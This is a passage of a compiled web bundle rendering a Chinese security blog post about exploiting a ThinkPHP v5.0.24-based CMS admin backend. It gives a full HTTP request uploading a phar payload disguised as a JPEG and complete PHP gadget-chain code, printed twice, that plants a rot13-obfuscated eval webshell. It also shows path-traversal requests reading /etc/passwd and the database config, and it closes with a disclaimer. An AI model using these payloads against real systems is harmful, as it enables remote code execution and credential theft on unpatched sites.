\u5229\u7528\u601d\u8def"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.del,{children:"\u4e0b\u9762\u90fd\u662f\u672c\u5730\u767b\u5f55\u540e\u53f0\u6d4b\u8bd5"})}),"\n",(0,t.jsx)(e.p,{children:"\u6d4b\u8bd5\u524d\u9700\u8981\u627e\u5230\u4ee5\u4e0b\u51e0\u4e2a\u5229\u7528\u70b9"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\u6709\u6587\u4ef6\u4e0a\u4f20\u7684\u70b9\uff08\u968f\u4fbf\u4e00\u4e2a\u70b9",(0,t.jsx)(e.code,{children:"\u9644\u4ef6\u4e0a\u4f20"}),"\u3001",(0,t.jsx)(e.code,{children:"\u56fe\u7247\u4e0a\u4f20"}),"\uff09"]}),"\n",(0,t.jsxs)(e.li,{children:["\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff08",(0,t.jsx)(e.code,{children:"Thinkphp v5.24.0"})," \u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\uff09"]}),"\n",(0,t.jsxs)(e.li,{children:["\u6709\u4e00\u4e2a\u89e6\u53d1\u53cd\u5e8f\u5217\u5316\u7684\u5730\u65b9\uff08",(0,t.jsx)(e.code,{children:"\\app\\apiadmin\\controller\\Upgrade::download"}),"\uff09"]}),"\n"]}),"\n",(0,t.jsx)(e.h4,{id:"322-\u6587\u4ef6\u4e0a\u4f20",children:"3.2.2 \u6587\u4ef6\u4e0a\u4f20"}),"\n",(0,t.jsx)(e.p,{children:"\u540e\u53f0\u4e0a\u4f20\u9644\u4ef6\u7684\u70b9"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-http",children:'POST /index.php?s=apiadmin/upload/attach HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 1813\nsec-ch-ua-platform: "macOS"\nadmintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M\nAccept-Language: zh-CN,zh;q=0.9\nsec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary45m5eoX47unvnRrB\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36\nAccept: */*\nOrigin: http://127.0.0.1\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1/admin/\nAccept-Encoding: gzip, deflate, br\nCookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1\nConnection: keep-alive\n\n------WebKitFormBoundary45m5eoX47unvnRrB\nContent-Disposition: form-data; name="file"; filename="poc.jpg"\nContent-Type: image/jpeg\n\nGIF<?php __HALT_COMPILER(); ?>\n\x1c\x06\ufffd\ufffd\x01\ufffd\ufffd\ufffd\x11\ufffd\ufffd\ufffd\x01\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\x05\ufffd\ufffdO:27:"think\\process\\pipes\\Windows":1:{s:34:"\ufffdthink\\process\\pipes\\Windows\ufffdfiles";a:1:{i:0;O:17:"think\\model\\Pivot":5:{s:6:"parent";O:20:"think\\console\\Output":2:{s:9:"\ufffd*\ufffdstyles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"\ufffdthink\\console\\Output\ufffdhandle";O:30:"think\\session\\driver\\Memcached":1:{s:10:"\ufffd*\ufffdhandler";O:23:"think\\cache\\driver\\File":2:{s:10:"\ufffd*\ufffdoptions";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"\ufffd*\ufffdtag";s:2:"xx";}}}s:9:"\ufffd*\ufffdappend";a:1:{s:4:"test";s:8:"getError";}s:7:"\ufffd*\ufffddata";a:1:{s:7:"panrent";s:4:"true";}s:8:"\ufffd*\ufffderror";O:27:"think\\model\\relation\\HasOne":5:{s:5:"model";b:0;s:15:"\ufffd*\ufffdselfRelation";b:0;s:9:"\ufffd*\ufffdparent";N;s:8:"\ufffd*\ufffdquery";O:14:"think\\db\\Query":1:{s:8:"\ufffd*\ufffdmodel";O:20:"think\\console\\Output":2:{s:9:"\ufffd*\ufffdstyles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"\ufffdthink\\console\\Output\ufffdhandle";O:30:"think\\session\\driver\\Memcached":1:{s:10:"\ufffd*\ufffdhandler";O:23:"think\\cache\\driver\\File":2:{s:10:"\ufffd*\ufffdoptions";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"\ufffd*\ufffdtag";s:2:"xx";}}}}s:11:"\ufffd*\ufffdbindAttr";a:1:{s:2:"xx";s:2:"xx";}}s:8:"\ufffd*\ufffdmodel";s:4:"test";}}}\b\ufffd\ufffd\ufffdtest.txt\x04\ufffd\ufffd\ufffdd\ufffdg\x04\ufffd\ufffd\ufffd\f~\x7f\u0624\x01\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdtestUxGb\x069#2P;\ufffdT) \ufffd"\ufffd\ufffd\ufffd\ufffd\x02\ufffd\ufffd\ufffdGBMB\n------WebKitFormBoundary45m5eoX47unvnRrB--\n\n'})}),"\n",(0,t.jsx)(e.h4,{id:"323-\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",children:"3.2.3 \u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"thinkphp v5.0.24"})," \u5b58\u5728\u4e00\u4e2a\u5229\u7528\u94fe\u80fd\u591f\u76f4\u63a5rce"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639077.png",alt:"image-20250303154302954"})}),"\n",(0,t.jsx)(e.p,{children:"poc"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nnamespace think\\cache\\driver;\n\nclass File {\n    protected $options = [];\n    protected $tag;\n    public function __construct() {\n        $this->tag = 'gg';\n        $this->options = [\n            'cache_subdir'  => false,\n            'prefix'        => '',\n            'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\\'n\\']); ?>/../a.php',\n            'data_compress' => false\n        ];\n    }\n}\n\nnamespace think\\session\\driver;\nuse think\\cache\\driver\\File;\n\nclass Memcached {\n    protected $handler;\n    function __construct() {\n        $this->handler=new File();\n    }\n}\n\nnamespace think\\console;\nuse think\\session\\driver\\Memcached;\n\nclass Output {\n    protected $styles = [];\n    private $handle;\n    function __construct() {\n        $this->styles = [\"getAttr\", 'info',\n            'error',\n            'comment',\n            'question',\n            'highlight',\n            'warning'];\n        $this->handle = new Memcached();\n    }\n}\n\nnamespace think\\db;\nuse think\\console\\Output;\n\nclass Query {\n    protected $model;\n    function __construct() {\n        $this->model = new Output();\n    }\n}\n\nnamespace think\\model\\relation;\nuse think\\console\\Output;\nuse think\\db\\Query;\n\nclass HasOne {\n    public $model;\n    protected $selfRelation;\n    protected $parent;\n    protected $query;\n    protected $bindAttr = [];\n    public function __construct() {\n        $this->query = new Query(\"xx\", 'think\\console\\Output');\n        $this->model = false;\n        $this->selfRelation = false;\n        $this->bindAttr = [\"xx\" => \"xx\"];\n    }}\n\nnamespace think\\model;\nuse think\\console\\Output;\nuse think\\model\\relation\\HasOne;\n\nabstract class Model {\n}\n\nclass Pivot extends Model {\n    public $parent;\n    protected $append = [];\n    protected $data = [];\n    protected $error;\n    protected $model;\n\n    function __construct() {\n        $this->parent = new Output();\n        $this->error = new HasOne();\n        $this->model = \"test\";\n        $this->append = [\"test\" => \"getError\"];\n        $this->data = [\"panrent\" => \"true\"];\n    }\n}\n\nnamespace think\\process\\pipes;\nuse Phar;\nuse think\\model\\Pivot;\n\nclass Windows {\n    private $files = [];\n    public function __construct() {\n        $this->files=[new Pivot()];\n    }\n}\n\n$obj = new Windows();\n\n\n$phar = new Phar('poc.phar');\n$phar -> startBuffering(); //\u5f00\u59cb\u7f13\u51b2 Phar \u5199\u64cd\u4f5c\n$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>');   //\u8bbe\u7f6estub\uff0c\u589e\u52a0gif\u6587\u4ef6\u5934\n$phar ->addFromString('test.txt','test'); //\u8981\u538b\u7f29\u7684\u6587\u4ef6\n$phar -> setMetadata($obj);  //\u5c06\u81ea\u5b9a\u4e49meta-data\u5b58\u5165manifest\n$phar -> stopBuffering(); ////\u505c\u6b62\u7f13\u51b2\u5bf9 Phar \u5f52\u6863\u7684\u5199\u5165\u8bf7\u6c42\uff0c\u5e76\u5c06\u66f4\u6539\u4fdd\u5b58\u5230\u78c1\u76d8\n\n\n\n"})}),"\n",(0,t.jsx)(e.h4,{id:"324-\u89e6\u53d1\u53cd\u5e8f\u5217\u5316",children:"3.2.4 \u89e6\u53d1\u53cd\u5e8f\u5217\u5316"}),"\n",(0,t.jsx)(e.p,{children:"\u524d\u9762\u53c8\u5728\u6587\u4e2d\u63d0\u5230phar\u89e6\u53d1\u53cd\u5e8f\u5217\u7684\u65b9\u5f0f\uff0c\u4e0e\u6587\u4ef6\u64cd\u4f5c\u76f8\u5173\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"\\app\\apiadmin\\controller\\Upgrade::download"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639078.png",alt:"image-20250303154918843"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\uff0c\u9996\u5148\u4f1a\u6253\u5f00",(0,t.jsx)(e.code,{children:"$path"}),"\uff0c\u5c31\u53ef\u76f4\u63a5\u89e6\u53d1\u53cd\u5e8f\u5217\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639079.png",alt:"image-20250303155019679"})}),"\n",(0,t.jsxs)(e.p,{children:["\u800c\u6b64\u65f6",(0,t.jsx)(e.code,{children:"$path"}),"\uff0c\u6ca1\u6709\u7ecf\u8fc7\u4efb\u4f55\u5904\u7406\uff0c\u5c31\u88ab\u4f20\u5165",(0,t.jsx)(e.code,{children:"$file->download($path, $save_file, false);"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639080.png",alt:"image-20250303155124331"})}),"\n",(0,t.jsx)(e.p,{children:"\u6240\u4ee5\u8fd9\u91cc\u8fd8\u4e00\u4e2a\u6f0f\u6d1e\u5c31\u662f\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6,\u6211\u4eec\u7b80\u5355\u6765\u5229\u7528\u4e00\u4e0b"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-http",children:'GET /index.php?s=/apiadmin/Upgrade/download&path=../../../../../../etc/passwd&timestamp= HTTP/1.1\nHost: 127.0.0.1\nsec-ch-ua-platform: "macOS"\nadmintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M\nAccept-Language: zh-CN,zh;q=0.9\nsec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36\nAccept: */*\nOrigin: http://127.0.0.1\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1/admin/\nAccept-Encoding: gzip, deflate, br\nCookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1\nConnection: keep-alive\n\n\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u540e\u8bbf\u95ee",(0,t.jsx)(e.code,{children:"http://127.0.0.1/upgrade/zip/passwd/passwd_.zip"})]}),"\n",(0,t.jsxs)(e.p,{children:["\u5373\u53ef\u83b7\u5f97",(0,t.jsx)(e.code,{children:"/etc/passwd"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639081.png",alt:"image-20250303155254026"})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u7136\u8bfb\u6570\u636e\u5e93\u6587\u4ef6\u4e5f\u662f\u53ef\u4ee5\u7684"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:"http://127.0.0.1/index.php?s=/apiadmin/Upgrade/download&path=../application/database.php&timestamp=\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639082.png",alt:"image-20250303155607673"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:"http://127.0.0.1/upgrade/zip/database/database_.zip\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639083.png",alt:"image-20250303155634100"})}),"\n",(0,t.jsx)(e.h4,{id:"325-\u5229\u7528\u8fc7\u7a0b",children:"3.2.5 \u5229\u7528\u8fc7\u7a0b"}),"\n",(0,t.jsx)(e.p,{children:"\u751f\u6210\u6076\u610f\u7684\u9644\u4ef6"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nnamespace think\\cache\\driver;\n\nclass File {\n    protected $options = [];\n    protected $tag;\n    public function __construct() {\n        $this->tag = 'gg';\n        $this->options = [\n            'cache_subdir'  => false,\n            'prefix'        => '',\n            'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\\'n\\']); ?>/../a.php',\n            'data_compress' => false\n        ];\n    }\n}\n\nnamespace think\\session\\driver;\nuse think\\cache\\driver\\File;\n\nclass Memcached {\n    protected $handler;\n    function __construct() {\n        $this->handler=new File();\n    }\n}\n\nnamespace think\\console;\nuse think\\session\\driver\\Memcached;\n\nclass Output {\n    protected $styles = [];\n    private $handle;\n    function __construct() {\n        $this->styles = [\"getAttr\", 'info',\n            'error',\n            'comment',\n            'question',\n            'highlight',\n            'warning'];\n        $this->handle = new Memcached();\n    }\n}\n\nnamespace think\\db;\nuse think\\console\\Output;\n\nclass Query {\n    protected $model;\n    function __construct() {\n        $this->model = new Output();\n    }\n}\n\nnamespace think\\model\\relation;\nuse think\\console\\Output;\nuse think\\db\\Query;\n\nclass HasOne {\n    public $model;\n    protected $selfRelation;\n    protected $parent;\n    protected $query;\n    protected $bindAttr = [];\n    public function __construct() {\n        $this->query = new Query(\"xx\", 'think\\console\\Output');\n        $this->model = false;\n        $this->selfRelation = false;\n        $this->bindAttr = [\"xx\" => \"xx\"];\n    }}\n\nnamespace think\\model;\nuse think\\console\\Output;\nuse think\\model\\relation\\HasOne;\n\nabstract class Model {\n}\n\nclass Pivot extends Model {\n    public $parent;\n    protected $append = [];\n    protected $data = [];\n    protected $error;\n    protected $model;\n\n    function __construct() {\n        $this->parent = new Output();\n        $this->error = new HasOne();\n        $this->model = \"test\";\n        $this->append = [\"test\" => \"getError\"];\n        $this->data = [\"panrent\" => \"true\"];\n    }\n}\n\nnamespace think\\process\\pipes;\nuse Phar;\nuse think\\model\\Pivot;\n\nclass Windows {\n    private $files = [];\n    public function __construct() {\n        $this->files=[new Pivot()];\n    }\n}\n\n$obj = new Windows();\n\n\n$phar = new Phar('poc.phar');\n$phar -> startBuffering(); //\u5f00\u59cb\u7f13\u51b2 Phar \u5199\u64cd\u4f5c\n$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>');   //\u8bbe\u7f6estub\uff0c\u589e\u52a0gif\u6587\u4ef6\u5934\n$phar ->addFromString('test.txt','test'); //\u8981\u538b\u7f29\u7684\u6587\u4ef6\n$phar -> setMetadata($obj);  //\u5c06\u81ea\u5b9a\u4e49meta-data\u5b58\u5165manifest\n$phar -> stopBuffering(); ////\u505c\u6b62\u7f13\u51b2\u5bf9 Phar \u5f52\u6863\u7684\u5199\u5165\u8bf7\u6c42\uff0c\u5e76\u5c06\u66f4\u6539\u4fdd\u5b58\u5230\u78c1\u76d8\n\n\n\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd9\u91cc\u5427 ",(0,t.jsx)(e.code,{children:"poc.phar"}),"\uff0c\u6539\u6210\u4e00\u4e2a\u56fe\u7247\u7684\u540e\u7f00\uff0c\u5c31\u884c\u4e86"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639084.png",alt:"image-20250303155733060"})}),"\n",(0,t.jsx)(e.p,{children:"\u89e6\u53d1phar"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639085.png",alt:"image-20250303155920816"})}),"\n",(0,t.jsxs)(e.p,{children:["\u6b64\u65f6\u5c31\u4f1a\u751f\u6210\u4e24\u4e2a\u6076\u610f\u7684\u6587\u4ef6\uff08\u554a\uff0c\u4f60\u95ee\u6211\u4e3a\u4ec0\u4e48\uff0cthinkphp\u7684\u94fe\u554a \u770b\u8fd9\u91cc->",(0,t.jsx)(e.a,{href:"https://blog.csdn.net/qq_41891666/article/details/107503710",children:"\u6211\u4e5f\u4e0d\u77e5\u9053\u54ea\u627e\u7684\u6587\u7ae0"}),"\uff09"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639086.png",alt:"image-20250303160359764"})}),"\n",(0,t.jsx)(e.p,{children:"\u6700\u540e\u518d\u6765\u4e00\u5f20"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639087.png",alt:"image-20250303160546641"})}),"\n",(0,t.jsx)(e.h3,{id:"33-\u67d0\u67d0cms\u63d0\u4ea4\u5b98\u65b9\u4e86\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03",children:"3.3 \u67d0\u67d0CMS\uff08\u63d0\u4ea4\u5b98\u65b9\u4e86\uff0c\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03\uff09"}),"\n",(0,t.jsx)(e.h2,{id:"4-\u514d\u8d23\u58f0\u660e",children:"4. \u514d\u8d23\u58f0\u660e"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u514d\u8d23\u58f0\u660e"})}),"\n",(0,t.jsx)(e.p,{children:"\u672c\u6587\u6240\u6d89\u53ca\u7684\u6280\u672f\u4fe1\u606f\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4f7f\u7528\uff0c\u65e8\u5728\u63d0\u5347\u4fe1\u606f\u5b89\u5168\u610f\u8bc6\uff0c\u5e2e\u52a9\u5b89\u5168\u7814\u7a76\u4eba\u5458\u548c\u5f00\u53d1\u8005\u66f4\u597d\u5730\u7406\u89e3\u548c\u9632\u8303\u76f8\u5173\u5b89\u5168\u98ce\u9669\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8d23\u4efb\u58f0\u660e\uff1a"})}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsx)(e.li,{children:"\u672c\u6587\u6240\u63d0\u4f9b\u7684\u4fe1\u606f\u4ec5\u4f9b\u5408\u6cd5\u3001\u5408\u89c4\u7684\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4f7f\u7528\uff0c\u4e25\u7981\u7528\u4e8e\u4efb\u4f55\u975e\u6cd5\u76ee\u7684\u3002"}),"\n",(0,t.jsxs)(e.li,{children:["\u4efb\u4f55\u4eba\u4e0d\u5f97\u5229\u7528\u672c\u6587\u63d0\u4f9b\u7684\u6280\u672f\u4fe1\u606f\u8fdb\u884c\u672a\u7ecf\u6388\u6743\u7684",(0,t.jsx)(e.strong,{children:"\u653b\u51fb\u884c\u4e3a"}),"\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e",(0,t.jsx)(e.strong,{children:"\u6e17\u900f\u6d4b\u8bd5\u3001\u6076\u610f\u5229\u7528\u3001\u6570\u636e\u6cc4\u9732\u3001\u7834\u574f\u7cfb\u7edf"}),"\u7b49\u3002"]}),"\n",(0,t.jsxs)(e.li,{children:["\u672c\u6587\u6240\u8ff0\u77e5\u8bc6\u4e0d\u5f97\u7528\u4e8e\u5f00\u53d1\u3001\u4f20\u64ad\u3001\u9500\u552e\u6216\u4f7f\u7528\u4efb\u4f55\u5f62\u5f0f\u7684",(0,t.jsx)(e.strong,{children:"\u653b\u51fb\u6027\u5de5\u5177\u3001\u81ea\u52a8\u5316\u5229\u7528\u5de5\u5177\u6216\u6076\u610f\u8f6f\u4ef6"}),"\u3002"]}),"\n",(0,t.jsxs)(e.li,{children:["\u4f5c\u4e3a\u672c\u6587\u7684\u552f\u4e00\u4f5c\u8005\uff0c\u6211",(0,t.jsx)(e.strong,{children:"\u4e0d\u652f\u6301\u3001\u4e0d\u9f13\u52b1\u3001\u4e0d\u53c2\u4e0e"}),"\u4efb\u4f55\u5f62\u5f0f\u7684\u7f51\u7edc\u653b\u51fb\u884c\u4e3a\u3002\u82e5\u4f7f\u7528\u672c\u6587\u6240\u8ff0\u4fe1\u606f\u8fdb\u884c\u653b\u51fb\u6216\u5176\u4ed6\u6076\u610f\u6d3b\u52a8\uff0c\u884c\u4e3a\u4eba\u5e94\u5bf9\u5176\u884c\u4e3a\u53ca\u5176\u540e\u679c\u8d1f\u8d23\uff0c",(0,t.jsx)(e.strong,{children:"\u6211\u4e0d\u627f\u62c5\u4efb\u4f55\u6cd5\u5f8b\u8d23\u4efb"}),"\u3002"]}),"\n",(0,t.jsx)(e.li,{children:"\u6211\u4e0d\u5bf9\u4efb\u4f55\u7531\u4e8e\u4f7f\u7528\u6216\u8bef\u7528\u672c\u6587\u4fe1\u606f\u800c\u9020\u6210\u7684\u76f4\u63a5\u6216\u95f4\u63a5\u635f\u5931\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u5982\u679c\u8be5\u6280\u672f\u4fe1\u606f\u6d89\u53ca\u7279\u5b9a\u5382\u5546\u6216\u8f6f\u4ef6\uff0c\u6211\u5efa\u8bae\u76f8\u5173\u65b9\u5c3d\u5feb\u8fdb\u884c\u5b89\u5168\u52a0\u56fa\uff0c\u5e76\u547c\u5401\u8bfb\u8005\u9075\u5b88\u8d1f\u8d23\u4efb\u7684\u6f0f\u6d1e\u62ab\u9732\u6d41\u7a0b\u3002"}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:"\u6240\u6709\u6d89\u53ca\u7684\u6f0f\u6d1e\u4fe1\u606f\u5df2\u53ca\u65f6\u544a\u77e5\u76f8\u5173\u5382\u5546"}),"\uff0c\u5e76\u5efa\u8bae\u4ed6\u4eec\u8fdb\u884c\u4fee\u590d\u548c\u52a0\u56fa\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u6cd5\u5f8b\u5408\u89c4\u63d0\u9192\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"\u8bf7\u786e\u4fdd\u60a8\u5728\u9075\u5b88\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4\u7684\u524d\u63d0\u4e0b\u4f7f\u7528\u672c\u6587\u4fe1\u606f\u3002\u5982\u6709\u4efb\u4f55\u7591\u95ee\uff0c\u8bf7\u54a8\u8be2\u4e13\u4e1a\u6cd5\u5f8b\u4eba\u58eb\u6216\u76f8\u5173\u673a\u6784\u3002"}),"\n",(0,t.jsx)(e.h2,{id:"5-\u53c2\u8003",children:"5. \u53c2\u8003"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:"https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6",children:"phar\u53cd\u5e8f\u5217\u5316"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:"https://blog.csdn.net/qq_41891666/article/details/107503710",children:"thinkphp v5.0.24 \u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\u5206\u6790_v5.0.24 \u4e0b\u8f7d\u547d\u4ee4-CSDN\u535a\u5ba2"})}),"\n"]})]})}function p(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}}}]);